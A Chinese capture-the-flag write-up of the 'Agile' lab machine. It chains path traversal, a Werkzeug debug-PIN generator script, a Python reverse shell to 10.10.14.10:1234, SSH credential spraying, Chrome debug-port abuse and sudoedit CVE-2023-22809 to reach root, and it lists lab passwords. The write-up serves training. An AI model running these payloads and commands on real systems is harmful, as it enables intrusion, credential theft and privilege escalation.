Linux/Agile

Agile

Enumeration

Nmap

扫描发现对外开放了22和80端口,使用nmap详细扫描这两个端口

nmap -sC -sV -oA Agile.nmap -p 22,80 10.10.11.203

详细扫描22和80端口,22端口运行着ssh服务,80端口运行着http服务,nmap揭示了域名superpass.htb,将其添加到/etc/hosts

Web

访问网站,可以看到该网站是一个密码管理器,可以注册并登录以管理密码

接下来尝试注册一个账号,并使用该账号登录系统

注册后会自动登录,跳转至/vault

点击Add a password,会打开一个表单,表单中已经自动填写了Password,填写site为www.test.com,填写username为vegetable后保存

保存后点击export按钮会下载一个csv文件,superpass_export.csv,内容就是刚才填写的内容

在burpsuite中查看时,发现点击export后,有一个302跳转,跳转到/download?fn=admin_export_639f3af5f2.csv

通过get参数获取文件名,可能存在任意文件读取漏洞,将请求发送到repeater,拼接url,尝试读取/etc/passwd

Exploitation

LFI to RCE in Flask Werkzeug Application

如果利用漏洞获取不存在的文件时,会进入一个debug页面,在其中,能看到Werkzeug Debugger的字样

在网上搜索一些信息时,发现Werkzeug 是最流行的 Python WSGI 实用程序框架之一。它简化了 Python 应用程序中 HTTP 连接的处理,而且还提供了一个强大的调试器,允许人们从浏览器中执行代码,并且告知主要影响的是Flask和Django框架,查看调试页面时,确实看到了flask的字样

将鼠标悬停在任意一行,在此行的最右边会出现一个小的终端图标,点击该图标会跳出一个弹窗,提示输入pin码

文章介绍如何使用LFI获取相关信息来生成PIN,hacktricks 也给出了类似的利用方式

利用LFI漏洞可以查看 Werkzeug/debug/__init__.py 文件,文件中有生成PIN的函数 get_pin_and_cookie_name,而在刚才的debug页面中可以定位文件系统路径 /app/venv/lib/python3.10/site-packages/,读取源代码

hacktricks提供了一个exploit脚本,并且展示了PIN如何在Flask(特别是werkzeug模块)源中生成,靶场环境与他给的有些许差异,读取网站源代码是很有必要的

利用脚本所需要的变量分成两部分, probably_public_bits 和 private_bits,从源代码中找到相关的内容如下。为了能够成功利用exploit脚本,需要根据版本信息修改相应内容,已在代码中以注释标注

<--snip-->
probably_public_bits = [
        username,                                       #启动Flask的用户
        modname,                                        #修改为"flask.app"
        getattr(app, "__name__", type(app).__name__),   #修改为"Flask"
        getattr(mod, "__file__", None),                 #Flask目录下app.py的绝对路径                
    ]
         

<--snip-->
private_bits = [
    str(uuid.getnode()),     #当前计算机MAC地址的十进制
    get_machine_id()         #将/etc/machine-id中的值与/proc/self/cgroup中最后一个/之后的内容连接起来
    ]
<--snip-->

注:尝试后总是失败,在指南中的第三个参数getattr(app, "__name__", type(app).__name__)通常仅显示为“Flask”,但情况并非总是如此。这与 Flask 在主机上的启动方式有关,本例中,适用的应该是 wsgi_app,由 Gunicorn 提供服务

根据要求获取需要的内容

启动Flask的用户,在 /proc/self/environ 文件中可以找到,结果是 www-data,Flask目录下的app.py的绝对路径已经知道了

GET /download?fn=../../../../../../proc/self/environ

#output
USER=www-data

当前计算机MAC地址的十进制,首先找到网卡名称,然后根据网卡名称找到MAC地址

GET /download?fn=../../../../../../etc/network/interfaces

#output
source /etc/network/interfaces.d/*
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp


GET /download?fn=../../../../../../sys/class/net/eth0/address

#output
00:50:56:b9:0a:a1

然后在转化成10进制
345052351137

获取get_machine_id()部分的内容

GET /download?fn=../../../../../../etc/machine-id 

#output
ed5b159560f54721827644bc9b220d00


GET /download?fn=../../../../../../proc/self/cgroup

#output
0::/system.slice/superpass.service

get_machine_id()的值
ed5b159560f54721827644bc9b220d00superpass.service

生成PIN的python脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'www-data',# username
    'flask.app',# modname
    'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '345052351137',# str(uuid.getnode())
    'ed5b159560f54721827644bc9b220d00superpass.service'# get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

执行该脚本后会生成一个PIN码

将该PIN码填入最开始的弹窗中,起作用了,在命令提示符下执行命令,可以成功执行命令

kali开启监听,然后执行

importsocket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh");

敲下回车键会返回一个shell

Lateral Movement

mysql

枚举系统发现/app下有一个config_prod.json文件,里面保存了数据库的用户名和密码

成功登录数据库

在passwords表中发现了一些用户和密码

将用户名和密码分别保存,使用crackmapexec来爆破

crackmapexec ssh 10.10.11.203 -u user -p pass

可以看到corum:5db7caa1d13cc37c9fc2是起作用的

使用ssh登录系统,可以发现user.txt

进一步枚举系统,发现在/app/app-testing/tests/functional目录中有一个creds.txt。但是权限不够打不开,可以打开test_site_interactively.py文件

python文件读取了我们没法读取的creds.txt,加载了selenium web,用读取的creds.txt中的用户名和密码登陆了http://test.superpass.htb,进行了一些测试

import os
import pytest
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait


with open('/app/app-testing/tests/functional/creds.txt', 'r') as f:
    username, password = f.read().strip().split(':')
    
    
@pytest.fixture(scope="session")
def driver():
    options = Options()
    #options.add_argument("--no-sandbox")
    options.add_argument("--window-size=1420,1080")
    options.add_argument("--headless")
    options.add_argument("--remote-debugging-port=41829")
    options.add_argument('--disable-gpu')
    options.add_argument('--crash-dumps-dir=/tmp')
    driver = webdriver.Chrome(options=options)
    yield driver
    driver.close()


def test_login(driver):
    print("starting test_login")
    driver.get('http://test.superpass.htb/account/login')
    time.sleep(1)
    username_input = driver.find_element(By.NAME, "username")
    username_input.send_keys(username)
    password_input = driver.find_element(By.NAME, "password")
    password_input.send_keys(password)
    driver.find_element(By.NAME, "submit").click()
    time.sleep(3)
    title = driver.find_element(By.TAG_NAME, "h1")
    assert title.text == "Welcome to your vault"


def test_add_password(driver):
    print("starting test_add_password")
    driver.find_element(By.NAME, "add_password").click()
    time.sleep(3)
    site = driver.find_element(By.NAME, "url")
    site.send_keys("test_site")
    username = driver.find_element(By.NAME, "username")
    username.send_keys("test_user")
    driver.find_element(By.CLASS_NAME, "fa-save").click()
    time.sleep(3)

    assert 'test_site' in driver.page_source
    assert 'test_user' in driver.page_source


def test_del_password(driver):
    print("starting test_del_password")
    password_rows = driver.find_elements(By.CLASS_NAME, "password-row")

    for row in password_rows:
        if "test_site" == row.find_elements(By.TAG_NAME, "td")[1].text and \
            "test_user" == row.find_elements(By.TAG_NAME, "td")[2].text:
            row.find_element(By.CLASS_NAME, "fa-trash").click()

    time.sleep(3)
    assert 'test_site' not in driver.page_source
    assert 'test_user' not in driver.page_source


def test_title(driver):
    print("starting test_title")
    driver.get('http://test.superpass.htb')
    time.sleep(3)
    assert "SuperPassword 🦸" == driver.title


def test_long_running(driver):
    print("starting test_long_running")
    driver.get('http://test.superpass.htb')
    time.sleep(550)
    #time.sleep(5)
    assert "SuperPasword 🦸" == driver.title

从nginx配置文件中,看到测试网站运行在127.0.0.1:5555

因为没有登录凭据知道这个也没啥用,而Selenium 是一个基于 Chrome 的 Web 驱动程序,它通常打开一个调试端口,用于调试应用程序,看到debug端口是41829

chrome debug

使用ssh隧道转发该端口到本地

ssh -L 41829:127.0.0.1:41829 corum@10.10.11.203

然后需要使用chrome浏览器,访问chrome://inspect

在配置中加入下面的配置

如果操作正确,远程目标部分会弹出一个新条目

单击inspect,将弹出一个新窗口

点击vault,可以看到保存的所有密码

在Vault中,我们可以看到用户edwards的agile密码,其值为d07867c6267dcb5df0af,可以使用这个密码来切换到这个用户

Privilege Escalation

CVE-2023-22809

检查sudo -l,用户 Edward 可以以用户 dev_admin 的身份对两个特定文件运行 sudoedit

尝试搜索关键字sudoedit,发现了一个漏洞

搜索发现sudo版本1.8.0-1.9.12p1是受影响的,查看目标sudo的版本信息,在受影响范围内

根据提示此漏洞允许在用户提供的环境变量中提供额外的参数,从而允许攻击者访问配置允许的其他文件。随后在 /app 中发现的 test_and_upgrade.sh 脚本中显示有如下命令,注释也提到系统源代码不能用于cron

# system-wide source doesn't seem to happen in cron jobs
source /app/venv/bin/activate

查看 /etc/bash.bashrc 文件,可以看到在 /etc/bash.bashrc也存在该命令,每次用户登录系统时都会执行该文件

edwards@agile:/app$ cat /etc/bash.bashrc
# System-wide .bashrc file for interactive bash(1) shells.
<--snip-->
# all users will want the env associated with this application
source /app/venv/bin/activate

可以看到该文件由root和dev_admin组拥有

edwards@agile:/$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Jan 25 18:24 /app/venv/bin/activate

尝试往文件中写东西,执行指令打开编辑器

在打开的编辑器中插入如下代码后保存

之后,在/tmp 目录下就会生成一个 veg文件,执行./veg -p 即可获取root权限

over!

  • 27
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值